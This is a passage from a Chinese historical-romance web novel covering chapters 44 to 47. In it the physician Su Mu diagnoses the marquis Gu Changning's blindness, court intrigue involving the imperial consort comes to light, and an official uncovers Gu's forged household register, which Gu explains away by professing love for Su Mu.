苏木眼睛顺着他接过阔叶的手指瞧去,之前从未仔细瞧过他的手,仔细看来,好像有些异常之处。 苏木想要瞧得仔细,顾长宁握碗之手,指甲泛白,月牙几近消退。 她心中有些眉目,于是又朝他眼睛瞧去。眼下带着青黑,瞳孔比一般人要大,对光源也完全不敏感。 她在蔺州曾为许多伤病治过病,关于顾长宁为何失明,她似乎有了些头绪。 苏木眼神扫向他垂在腿上的另一只手,直接略弯,指尖也是蜡黄掺白,掌面血色单薄。 她眉心一蹙,没多想,便将他那只手稳稳握住,仔细去感受掌心症状。 “你这手……” 顾长宁原低头饮水,陡然被她握住垂放之手,身形轻微一怔,险些失了手中阔叶。他略偏头,面上闪过一丝苏木尚未瞧见的错愕,却没有收回手,只是指节几不可察地微微收紧。 苏木未察觉眼前人的异常,只专注着瞧那双手,仔细感受掌中温度:“你这掌心略微发凉,再加上你指节、眼下症状……” 苏木松开他手,然后有搭脉在他手腕,他人之指突然相触,顾长宁一动也不动,似乎僵住一般。 脉象微涩,气血瘀滞,视神经失于濡养。 “你自三年暴盲,那在这三年间,你是不是常手指僵麻,掌中时而微汗时而冷凉?夜间口干目涩,耳边常伴耳鸣不止,虽有时反应较慢,但听觉灵敏?” 顾长宁听她一长串问答后已然震愕,这才明白她刚才所举是为何,他轻点头,没想到她能如此精确判断出日常所惑。 因指节时常僵滞,他瞎后第一年连习剑都困难,因着反应迟缓,他时常半晌才回他人之话。 而刚刚闭目,也不过是因为耳鸣之状再次袭来,唯有闭目腹吸,这才能稍作缓解。 多年来,他也瞧过许多大夫,但似乎,都没有眼前人说的确切、精准。 苏木低头看他,半晌道:“无伤眼眸,却骤然失明,不是外伤所致。” 她带着几分笃定:“你这应是伤及神识的暴盲。” 顾长宁眉心微动,听她继续说。 之前,他瞧过一江湖医士,那医士也说是暴盲之状,可以痊愈,他那时带着满心期许,用药一刻也不曾懈怠。 但用药两季,未有任何好转。 久而久之,顾长宁再也不愿听见谁要为他瞧眼疾之症。 “我可以治。” 苏木笃定地看着他,想起今日之命乃他所救,若是真能治好他眼疾,她就算离去,也不会觉得亏欠于人。 可顾长宁却眸泛冷意,骤然抽回了自己的手,带着明确的拒绝。 “不用了。”—— 第45章 一缕晨光透过雕花灵柩, 落在东苑厢房内的锦被之上,外头树干枝桠嫩叶随光斑驳, 时间也随之流走。 苏木缓缓睁眼,只觉鼻息间竟是暖意和花香,而不再是血腥和泥土润湿,偶有清风拂过,带着些外头廊上紫藤花香,甚是好闻。 她愣了愣,下意识抬手去摸肩胛之伤, 指尖却触碰到柔软被褥。 这不是那山洞。 苏木忙眨眼睛, 挣扎着坐了起来, 四周静谧无声, 房中陈设一如往常。 这是她所居东苑主屋。 她是怎么回来的? 苏木拧眉回想,脑中闪过些斑驳画面, 一片一片凑不完整。 她记得, 她对顾长宁说可以治他眼盲,他却拒绝地果断, 病在他身, 她自然也不强求, 于是回到自己坐处烤火。 后面感受到一丝困意,于是直接就靠着石墙睡着了,再一醒, 居然已至侯府。 苏木下意识为自己诊脉:不浮不沉,不快不慢,和缓有力。 毒解了。 上一秒,苏木紧蹙的眉毛才松开,下一秒又紧紧地拧在一起。 蛊还未解。 苏木松开搭在手腕上的指尖, 翻身下床。不知躺了多久,她觉自己腰酸背痛,整个身子都酸胀,于是直接披上外衣,往外走去。 已至孟夏,天气回暖不少,苏木站至门梃前时,感受到的也不再是割脸的冷风,眼下花开锦簇,绿枝嫩叶,叫人瞧着心底都畅快不少。 时间过的倒是快,刚来侯府时,还是一片枯木寒雪的模样。 四周不见祝余人影,苏木先朝着主屋而去,解蛊一事已耽搁太久,若迟迟不走,她那医馆,她要查之事,全部都会随未知突发之事而不断折转延后。 自己的身子,自己自然最清楚,她如今伤已大好,少说也躺了七日。 七日时间,怕是铺子的店家四处寻不见她人影,怕她跑路转手另租那也是有的。那地段可是她挑了很久的,对面就是一茶肆,要打听京中消息,那儿是最方便之处。 这样想着,苏木往主屋走的速度都变快了,一路上也遇到不少奴仆,苏木都无暇顾及。 至主屋,苏木轻叩门却无人应,等了半晌里面还是无人应答,苏木气恼一脚踹开门,进去后发现屋内的确是无人。 无人她就更恼了,这人都跑哪去了? 苏木转头,看向正在院里指挥着下人清扫地上雨水的张管家:“张叔,公子去何处了?” 张管家是个圆脸老人,身形微胖却不显臃肿,笑起来带着几分憨厚与慈祥,整个人透着福气,因为人好,府里人时常管他叫张叔。 张叔岂不知眼前之人是府中例外,虽说是自家公子一等婢女,可从未见他侍奉过自己小公子,这在侯府也是从无前例之事,他世故知晓得多,总觉得眼前这姑娘和自家小侯爷有缘分,于是笑得慈祥:“苏姑娘,公子今日一早便出去了,不知何时才回来。” “你若是有事,不妨在这等他?” 见张叔如此说,苏木也无其他办法,只好勉强扯起一抹笑意回礼,随即转身又朝屋内走去。 屋内摆件儿还如她往前来主屋一般,唯一不同的,是那玄色裂纹瓷瓶中插着几株桃花,给这冷色的屋内调和的柔和了许多。 其他处无甚奇特,苏木本想要直接坐在正对着门前的几案榻上,但正抬腿又有些犹豫。 算了,她还是尊重一下这间屋子的主人,不坐他主座了。 苏木一人所处一屋,此时正百般无聊,却听外传来窸窣争吵之声,于是顺声而出,见到了远处正从影壁后而来的扬风和祝余。 祝余瞧着脸上有几分生气,跟在扬风身后时,走起路来都急匆匆的。 “你们侯府都像你这么不讲道理吗?” 扬风身子未转,话也未说,只一味向前走着。 祝余在后一把拉住他:“喂,你耳朵又聋了是吗?” 祝余这一下力度不轻,扬风被他拽的不得不回头,他想要去掰开祝余攥住自己衣袖的手,但不知犹豫什么,最终却未掰开。 看不见扬风表情,只听其声音冷淡:“你的箱子现下我是不可能给你的,等你走了,这箱子才能给你。” “凭什么?!” “就凭这是侯府!” 扬风甩开衣袖,不顾祝余在后喊他,他步伐极快,几乎要跑起来一般。 恰好,二人都要经过苏木跟前。 扬风走的极快,却一直盯着脚下,所以未知自己身前挡着一人,直到瞧见蓝色衣裙浮现眼前,他才猛然抬头。 扬风表情很是奇怪。 他滞楞着还没说话,身后祝余就撞上来了。 祝余在扬风身后,又比扬风矮半头,因此没瞧见苏木,脾气大的质问:“扬风,你是不是有什么毛病?” 下一瞬,扬风就直接侧身,祝余一下便瞧见眼前之人。 她惊呼出声,眼底满是惊喜:“姐姐!你终于醒了!” 说着,便一把将她抱住。 苏木早已习惯她如此行径,无奈摇头,嘴角挂着笑。 苏木正对着扬风,瞧见了扬风面上依旧带着几分犹疑,似乎下一秒就想着要先撤走,只是被眼前二人拦了去路。 苏木将此尽收眼底,还以为是扬风欺负了祝余,于是问:“祝余,你刚在和扬风吵什么呢?” 见此一问,扬风刚侧过的身子一瞬便又转了回来,回答道:“苏姑娘,借一步说话。” 一听这话,本是抱着苏木的祝余很是不满,转过身瞪着扬风:“这有什么好借一步说话的?”祝余又看向苏木:“扬风今日一早便收了我的药箱子,说是小侯爷下的命令。” 祝余挽回上苏木的手臂,嘴里嘟囔着:“我找他要他也不给我,欺人太甚!” 苏木拍拍祝余的手,还是答应了扬风:“走吧。” 祝余还在原地,苏木则跟着扬风绕到亭中假山处。 张叔也是个看得清形势之人,瞧着二人有些他人不便知道之语,于是立马遣散了其余下人。 苏木与扬风相对而立,扬风不苟言笑,先一步说:“公子要收他药箱并非无理之举。” 扬风眼睛看往别处:“前些日子你与公子皆有事,但也听说过祝余总是被邀前去宫中一事吧?” 他这么一说,苏木认真回想起来,似乎在从稽查司出来醒来的那一夜,祝余曾和她说过这一事,她那时未有多想。 毕竟在此之前,她也听说过顾长宁中毒那次圣上曾亲临侯府,也恰时遇到了前来送药的祝余,她以为,定是宫中惜才,所以常叫她前往宫中,她本没放在心上,毕竟想着过不了多久就要离开侯府了,但眼下见扬风面色,此事恐怕并不是她所想那么简单。 苏木点头:“听说过此事,有什么问题吗?” 扬风见她一问,几欲开口但又止唇,最终还是叹息开口:“苏姑娘,你应当知道公子的长姐是圣上妃子吧?” 苏木楞然,不知他为何提及此事,但转念一想又觉好笑:“扬风,你们公子想的太多了吧,祝余不会入宫为妃的,也不会和娴妃娘娘争宠,若及时解蛊,明日我与祝余便可离去。” 提到解蛊二字,扬风眼底闪过一丝苏木尚未察觉的迟疑与讶异,但随即消失。 他解释:“苏姑娘,你误会了。” “凭着你和公子上次之事,你们也算是生死相交了,所以我不希望你或者祝余给公子带来一丝一毫的麻烦。” 上一瞬苏木还无奈笑着,下一瞬,在苏木听到听到此话后,笑容一瞬收回,甚至语气中带着冷意:“你什么意思?” 苏木觉得,他这话怎么听都不像好话,什么叫做她们会给顾长宁带来麻烦,要是从头到尾来讲,她身上所以旧伤新伤以及无数的麻烦,似乎都是顾长宁所带来的。 扬风又觉自己话没说清楚,但想起自家公子向来不喜表露所想,他觉得自己有必要替自家公子解释个清楚。 “我想苏姑娘之前一定听说过上京两大势力鼎足之说。这两大势力,一个是手握兵权的侯府,另一个便是掌着朝中大事的谢相。” 扬风压低着声音:“如今,圣上已然能够独挡大局,但手中无势无权,自然得处处小心,不管是谢府还是侯府,宫里那边都小心盯着。” “你可知,三年前周副统,便是上头收权的第一步?” “而这举发的手笔,便是谢府那人所做。” 提起周副统,苏木似乎有点印象。蔺州处南,荒南发生战事时,她还曾到军中做过医士,自然也知,当时明明敌军来袭,防不胜攻,缺乏兵力之时。 却正是在这样紧急之时,却有消息自京中传来,说周副统私通外敌,需立刻回京接受调查。 缺少援兵支援,顾长宁所率领的统兵才会因此被困荒南。 苏木没发话,静听着扬风之语。 扬风继而开口:“尚且不论这罪是否为真,但宫中收权之心昭然若揭,上头可以以谢家对付军权,自然也想利用顾家对付宰相一家。” “总之,必要有一方倾落,这权才能回收。” 可圣上,既想收回兵权,却又无实人可用,这才只得让老侯爷一直驻守边关,无昭不得回京。 这话,扬风没有说出来。 说到此,苏木却还是不明白这些争斗与祝余有何关系。 她正要问,扬风继而开口:“也是在三年前,娴妃才入嫁宫中,上头不过是想以此牵制住顾家。” “而祝余,亦是如此。” “有一个不够,需得多方牵制,才能叫人听话。” “在侯府,不乏有宫里明着暗里所派之人,侯府一举一动,都在上头的眼底。他们虽不知你和祝余乃何处之人,但却知你和祝余关系亲密。” “虽不了解公子待你之情感,但总的来说,也是发现了你与公子之间并非简单奴仆一般,所以,要想要先发制人,一旦有任何关系变动,上头想要牵制你,是和想要牵制顾家之思虑一般无二。” “牵制我?” 苏木不解,听得更是迷糊:“所以,这些日子宫中常传祝余前往,不过是想着有朝一日以她为棋,来牵制我?” 苏木苦笑:“也太看得起我。” 她和顾长宁根本没有那种可能性,更别说用来牵制顾长宁,若有一天她碍着顾长宁的眼,他怕是一刀便能要了她的命。 但她的确没想到,简单一事其中却牵扯出错综复杂之事,也难怪那日翻案,圣上还不愿直接迁怒相府。 他想要除掉一方,但又忌惮另一方。 所以,圣上想要培养自己的势力,无论是顾长宁还是谢辞桉,他在比较,在比较谁更有用,能帮助他拿回他想要的东西。 这样想来,顾长宁若是眼疾好了,眼前所面临之难,怕是比现下多得多…… 苏木听的明白,她似安慰般点头:“你放心,若蛊解了,明日我们便可离去。” 扬风正想要再说些什么,亭中已传来张叔的声音。 “公子,你回来了,苏姑娘正在找您。” 第46章 苏木刚想要再问问扬风顾长宁一早去了何处, 却还未开口,已然听到亭外传来张叔的声音。 她向扬风颌首, 示意他自己已经知道此事,不会在给祝余机会再前往宫中的。 她先扬风一步离开假山,等到了院落时,顾长宁已不在亭里,她朝他主屋瞧去,依旧没见人影。 苏木回身问张叔才知,顾长宁去了书房。 话说一个眼瞎之人, 去书房有何事, 她心知顾长宁定是有要事要处理, 但她的事情同等重要, 她今天也必须要和他说清楚,然后早日离开侯府。 转过壁角, 苏木刚到书房外, 便听里面传来一茶杯摔地之声,惊的苏木抬起的一脚滞楞了半瞬。 瞧见凌风在外, 苏木上前询问。 “凌大人, 侯爷在里面吗?” 苏木很少称顾长宁为侯爷, 但眼下瞧着里头形势不对,她还是合乎礼数些好。 凌风侧头看她:“在里面,但是现下你不便进去。” 说着, 凌风手握腰间佩剑,结实地挡在苏木跟前。 苏木抬眉,她倒是不急,毕竟人在侯府,顾长宁也不能跑了不是。既然如此, 她就在外守着。 但这样站在外头也不是长久之计,若是顾长宁一直不出来怎么办?想罢,苏木还还是试探开口:“可是发生什么事了?” 凌风不似扬风,平日里顾长宁的下属中,扬风是与她接触最多的,而他只与苏木不过几面之缘,他虽好说话,但也知什么该说什么不该说。 所以在苏木发问后,他依旧挺首立于屋前,看了眼苏木淡淡开口:“此事苏姑娘不便多问,还请自重。” 苏木也不是听不懂话之人,见人不愿与他提及此事,她也不热脸贴冷屁股,不再同凌风说话。 但心下,苏木却想,她在侯府少说也住了一月有余,这段时日里,她似乎从未见过顾长宁发如此大的脾气。 就算平日里他待人冷沉,触及他不悦之事他也顶多阴沉个脸,所以苏木倒很想知道,究竟发生了什么。 但她也是想想而已,毕竟过不了多久,顾长年的喜怒哀乐她看不着也管不着。 一想到此苏木心下就大悦,等离开了此地,白天,她便可以在京中开一个小药铺子,晚上他便可以四处去探查权贵府邸,继续查找箭镞之事。 反正身处这上京,她不信找不着一丝关于这箭镞的蛛丝马迹。 正想着,苏木原以为自己还要在外等候好一会儿,屋内却传来顾长宁的声音。 “凌风,让她进来。” 顾长宁这声不重,语中少了怒火,情绪如往常不咸不淡。 得此命令后凌风似有些难以置信,毕竟在他的记忆里,自家侯爷的书房是很少允人能进的,若说女子,除了娴妃,似乎只有她了。 凌风往旁撤了半步,示意苏木进去。 他的表情自然全部落入苏木眼中,她虽不明白这表情所蕴含的意思,但也没多追究,直直推门而入。 日光顺着门缝漫进书房里,苏木这才瞧见书房里窗门都是紧闭着,所以整个书房,显得很是暗寂孤冷。 关上门,这种感觉更甚。 顾长年的书案并未摆放在与门相对的位置,所以苏木最先看见的,是壁上所挂之长剑,剑鞘横挂于青铜钩之上,分毫不斜。细看,剑鞘是以乌檀木为骨,碧色外皮,四角包以冷铁,透着肃杀之气。 这剑如此安放,平日也未见顾长宁身侧佩剑,想毕这一把,便是顾长宁三年前所用之剑,剑鞘保存如此完好,更别说安放其内的利刃。 苏木朝左瞧去,无人。再往右瞧去时,才见那静默的身影。 顾长宁正坐于书案后,单手搭在膝上,背脊挺直,听到些她的动静微微转首,拂动不大,却让苏木瞧清了那藏匿于半明半暗下的脸。 没有她想象的阴沉,还算平静。 她知他此刻心情或许不好,因此也未开门见山,而是走到左边案前,重新拿起一杯放置于他尚有血渍的手中,后随台而坐,背对着他。 “你还好吧?” 苏木这声很轻,少了些平日咄咄之色,似是老友叙旧一般平静。 毕竟二人也算同生共死过,没了利益的牵扯和桎梏,她轻松不少。再加上看见他那虎口处的血渍,她似乎能想到,刚才心情不佳的他是有多使劲地去捏那碎落在地上的茶杯,才能捏碎于掌中,在虎口留下伤口。 身后之人静坐如山,良久的沉寂。苏木也就这般静坐着,没急着开口。 直至外头发白的日光透过缝隙倾洒落地时,身后之人才有了动静。 “娴妃娘娘是我长姐。” 苏木静听着,未打断他的话。 “不知你是否为上京之人,但你一定也知道,我的母亲乃是先皇的胞妹——睿雍长公主。” 这事苏木自然是知晓的,毕竟幼时居上京,京中之事,就算她远在蔺州,也是有所耳闻的,所以当三年前传来消息说当今圣上要纳顾家长女时,其下之人都是不解的。 毕竟论血缘宗亲,他们算是表兄妹,此乃违背伦理之事。 但此事乃是天子所命,谁又敢多置喙半句。毕竟如今的御史台,早已不及九年前的地位。 苏木轻嗯一声,身后人缓缓继续。 “幼时,我常进宫陪圣上伴读,与我同行的还有来自越国的公主和周将军的嫡子周垣。” 顾长宁虽眼中黝黑,但若让人瞧见,是能让人感受到他那回忆似的眸光,那眼神将他带回了幼时。 “说起来,当时鄢国和越国交好,为保和平,鄢国派遣当今摄政王前往越国,而越国则将自己的小公主送到了上京。” “初时,公主因离家而久未有笑颜,我们三位则轮流的逗她开心。日子久了思乡之苦慢慢淡化许多,我们四人关系也愈来愈亲密。” “直到周垣出兵讨伐越国,他与公主也日渐有了隔阂。” 这些故事听着很是久远,要说起周家领兵讨伐越国,那似乎是她尚居蔺州之时,但公主之事,她却从未听说过。 想来,这是皇家之事,八岁之前,她尚未关注这些。 但苏木,却实实在在的听进去了。 “但在出兵之前,公主和周垣已互生爱慕之心,所以此去若是越国兵败,我们四人也再也回不去从前。但所幸是这一次,并非有何伤亡。” “但圣上想要建业之心岂是随意停歇,所以再一次出伐越国,便是在三年前。” “三年前,既将越国划入我国,又灭周氏一族削减其下势力,三则,将公主留在自己身边。” 公主留在自己身边? 苏木似乎听懂了这个故事,故事中的这个公主未免也太过憋屈,自小离家、心爱之人战死沙场、自己嫁给仇人…… 那这个公主……难道就是娴妃?可娴妃,不是顾长宁的长姐吗? 苏木也问出心中所惑:“所以,这位公主是娴妃娘娘?” 苏木转身看向顾长宁时,发现他置于案上的双手攥得极紧,本止住血得虎口随即又汩汩外涌,本着医者本能,苏木下意识的握住他手,轻拍两下。 本是紧攥着的手没来由的被这么一握,顾长宁的手僵住一瞬,随即抽离,但神色比之刚才缓和不少。 “京中从未有人知越国曾派来一位公主,本是质子也为日后太子妃,她身份并未公之于众,而是安于侯府,安了个侯府嫡女的名头。” “皇家之意深不可测,先帝只不过想用此情谊牵制将门,只是没想要后来越国来犯,当今圣上成了那个决策之人。你说他无奈吗?或许有,但不多吧” 顾长宁垂眸脸色冷硬:“毕竟灭周家的是他,硬娶公主的也是他。他只是没想到在他登基后的几年里,不止顾周两家独大,相府势力也逐渐凸显,所以才没像灭周家那般,灭了我顾族。” 说出最后几个字,顾长宁的喉头在脖间狠狠滚动,腮帮绷得极紧,下颌折现出得冷硬之色凸显出他当下的神情。 他一字一句,眼底似淬了冰一般:“可你知道吗?在多年以前,圣上也曾心悦于她,可现在,他却可以因着三言两语随意杖责她。” 良久,顾长宁浑身散发的肃然之色久而不散,苏木听明白了一切,她知今日顾长宁这怒火是从宫中而来。 想来这圣上不似面上所见宽容大度,猜忌狠厉之色确实暗藏其内。对从小自大的周垣和公主亦如此,对是自己姑姑也乃睿雍长公主之子定会更加忌惮。 难怪顾长宁浑身是刺,若是软弱半分,今日侯府恐怕早已覆灭。她似乎能够懂得为何顾长宁不愿治他那双眼了。 这眼疾看似使他无所作为,可他要的也是无所作为——锋芒太过,比遭断折。 苏木叹气:“所以今日震怒之事便是如此?” “可你也知,她入了宫,那便是后宫中之人,你若是不想她为皇帝所牵制,那你就更应该强大起来,让皇室忌惮,让他们不敢随意动你所在乎的人。” “逃避,是解决不了问题的。” 苏木未直言,但却说的很明白,他不愿治眼是妥协,是害怕功高盖主,是害怕置侯府于不利。可事实是,就算他不做任何举动,就凭着是国亲还手握兵权这两件事,上面的忌惮之心便不会停止。 就如赵爵世子之案,或许皇帝在乎的不是幕后真凶,而是能拉顾家和谢家其中一方势力下马。 而恰巧的是,宰相还动不得,顾家也动不得,所以谢焱便合理成为了替罪羔羊。 顾家现在处于被动局势。在苏木看来,唯一破解之法,那便是完全得强大,强大后再以完全的压倒之势去扳倒另一方。 身正不怕影子斜,若宰相真有祸藏之心,顾家可化利刃。自古以来治国靠的是以德,从来不是杀戮。一鼎坍塌,另外一鼎退让,上头若想要长治久安,顾家便不会再有危险。 苏木思衬,却未将这些话说出,她明白,作为顾家掌权之人,眼前之人肯定也能想到他所想。 也的确如此,顾长宁神色未动,嗓子却浸染冷沉,似自嘲般:“是啊,逃避是解决不了问题的。” 顾长宁额上青筋消退半分,沉气般闭眼。可一闭眼,当年周家被冤入狱之事就会引入眼帘。公主向他求救的眼神,周垣对他的劝告之语和父亲的叮嘱都会久久浮现眼前,压得他喘不过气。 他所念之人唯余父亲与长姐,可偏偏这二人,随时都有离他之险。 回忆起今日听到长姐被杖而下床困难,他怒火中烧,被压抑许久的怒气顷刻就要爆发,他差点就要突破防线朝宫中质问。 如此鲁莽之举,幸好有凌风将他拦了下来。 他恨自己的无能,更恨自己的怯懦。 他当初质问父亲,为何要藏锋芒,为何不让他去宫中探望长姐,为何不让他从边防归家,父亲给的回答,都是让他收敛意气,收敛刺戾。 可如今,有一个人对他说,逃避是解决不了问题的。 或许,她说的也是对的。 第47章 苏木唤凌风拿来药箱, 随即将顾长宁的伤口处理干净。 对于刚才的话题,二人只字不提, 似乎刚才之事未发生过一般。 而关于那些死士的幕后主使,却未能调查出来,死于竹林之人的尸体早已被清理的干净,未留下任何蛛丝马迹。 顾长宁黯淡着眸光,静由着轻柔的手指拉扯着绷带缠绕他手。 二人靠的不算近,但却衣袖相连。 他甚至能听见她的呼吸。 靠的如此之近,莫名的让顾长宁又想起被河水拍打的那个夜晚。那日, 他只能听到她微薄的呼吸。 顾长宁叹了一口气, 将缠好的手放回自己腿上。 “苏木, 有一件事我得对你坦白。” 顾长宁神色凝重, 苏木已觉接下来他所说之事,定不是什么好事, 但她还是嗯了一声, 示意他说。 “你我被扬风带回侯府前,他先去了竹林巫师所住之处。” 顾长宁话未说完, 停顿一瞬犹豫着说出那句苏木最不愿听到之话:“巫师已死。” 其实巫师会死她并不意外, 毕竟二人到竹林时早已闻着那股血腥之气。 苏木收拾着放置于外的各种药瓶子, 随即叠放着干净的绷带:“这事并不意外。” “可顾长宁,你答应过我,这蛊是一定要解开的。” “不然就算我与你相隔万里, 你一出事,我便立刻会回来。” “这样的桎梏,不是我想要的。” 苏木定眼看着他,却看不透顾长宁心里所想。若是不听后半句,怎么着听起来, 那句“不然就算我与你相隔万里,你一出事,我便立刻会回来。”都像是有情人之间的蜜语。 可放在此处,却只是一道能将二人所系的铁索。 苏木要做自己想做的事,她不可能也不愿意被困一方庭院,围着他人做事。 从前在闳离阁不愿,如今在侯府亦是如此。 顾长宁神色未动,但却听出了苏木语气里的固执与强硬。 “京中不缺巫师,但我也知这母子蛊并非寻常蛊毒好解,南疆巫师不喜出寨,而南疆与上京所隔千里,日行半月,良驹所行也不过十天。” “既然如此,明日启程,如何?” 眼下没有其它办法,若是想要快快解蛊,不是请巫师前来就是他二人前去,既然如此,为防途中意外,倒不如他二人前去。 蛊毒一解,二人天高路远各自为途,回上京的途中她还可回一趟蔺州闳离阁瞧上两眼。 顾长宁也不是背信弃义之辈,既然她如此开口,他也便应下就是了,只是还没开口,苏木以为他眼疾不方便行如此遥远距离,于是问:“你不方便的话我……” “方便。” 她想要说,如果你不方便的话,我就只身前往南疆,定带一巫师回来。 只是话还没开口,便被他打断开来。 “我犹豫并不是不愿同你前去,只是有些抱歉未能提早解开这蛊。既然是答应之事,便没有什么方便不方便。” 顾长宁握住手杖“我去。” 苏木没想到他会解释,但见他语中爽快,苏木心下也放心许多。随即,她提起箱子就要往外去。 恰此时,外头传来一阵不疾不徐的脚步声,由近及远,恰巧停在苏木正要开门之外。 那道人影高大,苏木还未来的及想此人是谁,外头就已经传来了声音。 “顾长宁,你出来。” 外头嗓音清润,因着离得近,苏木不过刹那便知门外人是谢辞桉。 不过,案子了结,他来找顾长宁何事? 苏木狐疑地看向顾长宁,他也正拄着手杖朝这边走来。 外头凌风不知在和谢辞桉说些什么,苏木正要开门,顾长宁却伸手拦住。 “谢辞桉此行有蹊跷,待会儿见机行事,你多听少说。” 他本是好心叮嘱,但这话听在苏木耳朵里却不算中听,怎么听着觉得自己像是那种多嘴之人。 苏木心下不悦,于是连嗯一声也没有,直接拂开他手,打开了那扇门。 拂受力道之大,顾长宁愣住,他似乎又得罪了眼前人。正欲说些什么时,谢辞桉已开口。 “苏姑娘,小侯爷。” 谢辞桉礼貌一揖,语气不算温和:“恰巧我便是要来寻二位的,既然都在,我有一事想要询问苏姑娘。” 苏木木然,她不知自己何时又得罪了他,于是礼貌性回礼:“谢指挥使请问。” 谢辞桉点头,随即从衣袖中掏出一卷轴出来,那卷轴宽度瞧着约莫五寸,很是小巧,瞧着卷轴上的花纹,那是元年所制的户籍专用花纹。 她不知,这户籍与她有何关系。 但下一瞬,她已觉不妙。 果然,谢辞桉展开户籍后摊开在苏木跟前:“这是刚才凭借调令从扬风那里所取户籍。” 谢辞桉手指着卷轴上“苏木”二字,不咸不淡地问:“苏姑娘你看,这户籍,可是你的?” 苏木顺着他所指瞧去,那的确是写着她的名字,对其详细描述为“苏木,年十七,上京奴场人,自仲春十一由昭明侯顾长宁所购,所得奴籍。” 一般来自奴场的,大多都是负罪之身,户籍已消,所以在奴场任人挑选。 在苏木的记忆中,这类户籍描述,她不记得自己在奴场更改过多少遍,但每次都不过半月,她就会被再次扔进奴场。 可思绪拉回,如今的她早已不是身在奴场任人宰割的小女孩,她的假户籍安放在蔺州,真户籍也随着沈府的覆灭而存至上京户曹。 既如此,眼下这份户籍,自然是顾长宁所造,她眼睛不瞎,瞧到的“昭明侯”三字,正是顾长宁封侯所得名号。 她倒不知自己何时成了顾长宁所购奴仆,心下虽有怒意可却未表现,她看向顾长宁,顾长宁也正要在她开口前说话。 “苏木乃奴场之人,奴场之人大多未有户籍,所以这户籍乃是仲春所制。” 顾长宁淡然自若,似乎能教人确信了他所说之话。 可闻此言,谢辞桉那轻笑摇头的动作确叫苏木看不明白了。 随即,谢辞桉语中少了温润,他严声发问:“小侯爷,你确定这户籍乃是真的?” 顾长宁蹙眉:“你什么意思?” 谢辞桉扯起一抹唇角,眉间却燃起燥怒:“小侯爷应知晓,作为稽查司的都指挥使是不管入司登录户籍之事的,所以就可以如此诓骗下官吗!” 说罢,那户籍也被他狠狠的扔在地上。 前些日子,谢辞桉正值稽查司值夜,登录户籍的小吏因是新到的而各位马虎,为防错失遗漏,他亲自誊抄户籍。 户籍在烛火之下泛出昏黄之色,本来这是常见之事,毕竟用楮树所造的褚纸一经年久就易泛黄,但也正是因此举,他却发现了问题。 前些日子,也正是在仲春时,户曹纸张缺乏,所用纸张上批朝廷后限用三十余份桑皮纸做替,而桑皮纸本就是泛有米黄,因此,就算未经岁月,其颜色也和过了十年二十年的褚纸无甚区别。 可这一份,上记是仲春十一所制,仲春十日至十五日,所制户籍偏偏都是用的桑皮纸,而苏木这一份,确是呈新白色的褚纸无疑。 顾长宁这个少时他最钦佩,也是最为亲近的挚友,自三年前便与他莫名疏远,上一次他来狱中传话时,他还以为二人还能如同往常一般,可没曾想,第一次因新春之案疏离他也就罢了,这一次还在他眼皮子地下做花样。 难道顾谢两家的隔阂,一定就要衍生到小辈身上? 谢辞桉震怒之话一出,四周顿时失去了声音一般,只沉溺于寂静之中。 他话未说明白,苏木不好贸然开口,她弯腰正要拾起沾上灰尘的户籍时,顶上所立的顾长宁开了口。 “都指挥使这是什么意思?” “顾长宁,户籍所做褚纸在仲春缺乏,因此当月所用户籍制纸皆为它纸,而你所说的仲春十一所做的户籍,确实是实实在在的褚纸,顾长宁,你作何解释!” 这下,苏木和顾长宁都听的明明白白。 苏木还未起身,顾长宁却先行开口:“辞桉兄,此事能否借一步说话?” 借一步说话? 谢辞桉狐疑地看向顾长宁,此二人现在就在眼前,谅他们也不会耍花招。 况且……他的好兄弟上一次对他说借一步说话时,还是在三年前。 原来,他还是有话对自己说的。 这样想着,谢辞桉便跟在顾长宁身后往书房里去,只剩一脸懵刚捡起户籍的苏木在外头。 刚进书房,谢辞桉脸色比刚才好了许多,他本身也就是常以温色待人之人,门被他合上后立马就问:“伯沅兄,你可得给我解释清楚。” 顾长宁坐在几案之上,随即指向另一侧座位。 谢辞桉坐下后他方才开口。 “此事的确是我做的欠妥当。” “只是……苏木乃是我心悦之人。我需得保她周全才是。” 此话一出,谢辞桉惊了。 顾长宁?心悦?苏木? 铁树开花了? 谢辞桉大笑,却带着几分不信:“伯沅兄,你扯谎也得细细想过吧,你喜欢苏木?你见都没见过她。” 谢辞桉未避讳眼疾之事,他也知顾长宁不会与他置气。但他刚说完这句话,瞧见顾长宁那神色柔和,未发一眼的面容,他好像又信了几分。 “不是吧……你真喜欢她啊?” 谢辞桉问这话并非有看不起苏木之意,只是令他想不到的是三年前,他眼尚好时,多少王宫贵女钦慕于他,但他也未见动容。 却在得了眼疾后喜欢上了一人,这怎么听起来,都有些让人质疑。 顾长宁端起案前早已放凉的茶,轻啜一口点头:“心肠是比容貌更为重要之物。” “初识在奴场,她如嗜血猛兽般的冲劲便让人无法忽视。” “渐渐相处下,她却有善良细腻一面,不知不觉中自然就有些不一样所在了。她喜无拘无束,我便未制奴籍框住她,只等有机会了为她安上良籍。”顾长宁垂眸:“只是,你也知我父亲定是不允我娶一无籍女子,所以奴籍未制,良籍未安就又碰上了上次那案子。” “无奈之下,我只得行此一举了。” 顾长宁拱手:“还望谢兄通融一下。” 他这话说的真切,听着倒也不像假话,况且,他这话无论真假都是说得通的,既然如此,芝麻大小之事,案子也已结,好友之间何必闹得不痛快。 谢辞桉替他高兴也替自家妹妹高兴,喜顾长宁身侧总算有佳人相伴,也喜自家妹妹不必再日日挂怀他,能早日觅得其他郎君。 想到此,谢辞桉眸中笑意难掩:“既然如此,我也不是斤斤计较之人。不过要恭喜伯沅兄了,你可是我们家塾那批人里,第一个觅得心上之人的。” 见此事揭过,顾长宁松下一口气,随即带笑回应:“谢兄可找到一直想找之人了?” 顾长宁记得,少时在谢府书塾时,他们几位总会聚到一起喝酒聊天,在聊起谢辞桉喜欢何等女子时,他眼中浮起一层回忆之色。 只说那人已离去,他久久寻之,却再未见过。 谢辞桉苦笑摇头:“或许没那个缘分,不过我不会放弃的,最近有得到一些新的线索,若是找着了,我一定第一个带她来见你。” “好。” 随即二人出门,苏木正背对着房门,听见身后门梃多了晃动之声,于是转身,本以为二人该是不愉快,却没想二人出来一脸平静。 立于谢辞桉身旁之人的顾长宁拄着手杖站她旁边,不知为何,她竟从谢辞桉看她的眼神中读出了一丝宽慰和祝福……? 而下一瞬,让苏木僵在原地的,是顾长宁的宽大的手掌将她的手牵住,声带柔朗:“木儿,我都告诉谢兄了。” “你乃我毕生所求之人,也是与我携手此生之人,对吧。” 